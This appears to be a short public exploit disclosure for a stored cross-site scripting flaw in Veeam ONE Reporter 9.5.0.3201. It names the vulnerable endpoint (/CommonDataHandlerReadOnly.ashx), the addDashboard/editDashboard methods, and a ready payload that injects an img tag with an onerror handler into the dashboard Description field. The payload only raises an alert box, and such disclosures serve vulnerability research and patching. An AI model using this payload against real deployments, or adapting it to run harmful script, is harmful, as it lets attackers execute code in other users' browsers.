18 lines
No EOL
547 B
Text
18 lines
No EOL
547 B
Text
# Exploit Title: Veeam ONE Reporter - Stored Cross-site Scripting (Stored XSS)
|
|
# Exploit Author: Seyed Sadegh Khatami
|
|
# Website: https://www.cert.ir
|
|
# Date: 2019-04-27
|
|
# Google Dork: N/A
|
|
# Vendor Homepage: https://www.veeam.com/
|
|
# Software Link: https://www.veeam.com/virtual-server-management-one-free.html
|
|
# Version: 9.5.0.3201
|
|
# Tested on: Windows Server 2016
|
|
|
|
|
|
#exploit:
|
|
|
|
Path: /CommonDataHandlerReadOnly.ashx
|
|
|
|
method: addDashboard / editDashboard
|
|
|
|
SET Description(config) field to “AAAAAAA</div><img src=S onerror=alert('KHATAMI');><div>” |